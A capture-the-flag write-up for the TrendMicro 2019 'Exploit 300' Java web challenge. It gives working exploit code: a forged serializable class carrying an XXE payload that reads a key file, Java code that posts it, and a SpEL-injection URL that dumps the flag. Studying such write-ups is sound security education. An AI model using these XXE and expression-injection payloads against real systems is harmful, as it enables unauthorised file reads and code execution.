writeup for exp300

Author: Pharisaeus

2019-09-07-trendmicro-quals/exploit_300/README.md

@@ -0,0 +1,141 @@
+# Exploit 300 (pwn, 300p, ? solved)
+
+In the challenge we get address of a Java webapplication and [war file](blueprint.war).
+The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization.
+
+Once we decompile the code in IntelliJ we notice that there are 2 endpoints available.
+One endpoint is `/jail` and another is `/office`.
+
+Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet.
+This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of `/TMCTF2019/key` file.
+
+In order to get it, we need the other endpoint - `/jail`.
+This endpoint is much simpler, it does only:
+
+```java
+ServletInputStream is = request.getInputStream();
+CustomOIS ois = new CustomOIS(is);
+Person person = (Person)ois.readObject();
+ois.close();
+response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
+```
+
+Where `CustomOIS` allows only to deserialize objects of type `com.trendmicro.Person`.
+If we look closely  how those objects are deserialized, we can see:
+
+
+```java
+int paramInt = aInputStream.readInt();
+byte[] arrayOfByte = new byte[paramInt];
+aInputStream.read(arrayOfByte);
+ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
+DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
+localDocumentBuilderFactory.setNamespaceAware(true);
+DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
+Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
+NodeList nodeList = localDocument.getElementsByTagName("tag");
+Node node = nodeList.item(0);
+this.name = node.getTextContent();
+```
+
+It reads the size of the array, and then bytes array, which is later treated as XML document and parsed.
+In this XML the deserializer takes first `tag` node and collects text content of this node to use as `name` of the Person.
+So xml structure like:
+
+```xml
+<tag>person name</tag>
+```
+
+There are 2 important things to understand here:
+
+1. Java recognizes classes for deserialization based on their package+class name and some random `serialVersionID`. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for example `old version` of some object. But since we have the original `Person` class and `serialVersionID` is set there, we can make our own class with the same value, and fool the server to deserialize such object for us.
+2. Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack.
+
+This is exactly what we do here, we created our own `Person` class:
+
+```java
+public class Person implements Serializable {
+    private static final long serialVersionUID = -559038737L;
+    public String name;
+
+    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
+        String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>";
+        out.writeInt(payload.length());
+        out.write(payload.getBytes());
+    }
+}
+```
+
+This class will get serialized the same way as Person class in the challenge expects for later deserialization.
+Now we can launch it:
+
+```java
+public static void stage1() throws IOException {
+    Person p = new Person();
+    ByteArrayOutputStream out = new ByteArrayOutputStream();
+    ObjectOutputStream oos = new ObjectOutputStream(out);
+    oos.writeObject(p);
+    String host = "http://flagmarshal.xyz/jail";
+    ByteArrayOutputStream bos = new ByteArrayOutputStream();
+    try {
+        RestTemplate restTemplate = new RestTemplate();
+        byte[] yourBytes = out.toByteArray();
+        HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes);
+        ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class);
+        System.out.println(response);
+        System.out.println(response.getStatusCode());
+        System.out.println(response.getBody());
+    } catch (HttpServerErrorException ex) {
+        System.out.println(ex.getResponseBodyAsString());
+    } finally {
+        try {
+            bos.close();
+        } catch (IOException ex) {
+        }
+    }
+}
+```
+
+And from this we get the key: `Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
+
+Now we can proceed to the second stage.
+The code we're attacking is:
+
+```java
+String nametag = request.getParameter("nametag");
+String keyParam = request.getParameter("key");
+String keyFileLocation = "/TMCTF2019/key";
+String key = readFile(keyFileLocation, StandardCharsets.UTF_8);
+if (key.contentEquals(keyParam)) {
+    ExpressionParser parser = new SpelExpressionParser();
+    String expString = "'" + nametag + "' == 'Marshal'";
+    Expression exp = parser.parseExpression(expString);
+    Boolean isMarshal = (Boolean)exp.getValue();
+    if (isMarshal) {
+        response.getWriter().append("Welcome Marsal");
+    } else {
+        response.getWriter().append("I am sorry but you cannot see the Marshal");
+    }
+} else {
+    response.getWriter().append("Did you forget your keys Marshal?");
+}
+```
+
+We need to:
+
+- Send request with key=`Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
+- Provide parameter `nametag` which will be placed into expression escaped by `'`.
+
+We can easily put `'` inside `nametag` to escape the string, and evaluate any code we want.
+We still need to keep the type proper, so we decided to pass:
+
+`'.isEmpty() || T(com.trendmicro.jail.Flag).getFlag() || '`
+
+So in the application it will become:
+
+`''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'`
+
+It's a proper boolean expression and it will dump the flag for us, because the `getFlag` thrown an exception.
+We need to encode `&` as `%26` in order to be able to pass it into the url, and if we go to: `http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
+
+We can see the flag in the stacktrace: `java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}`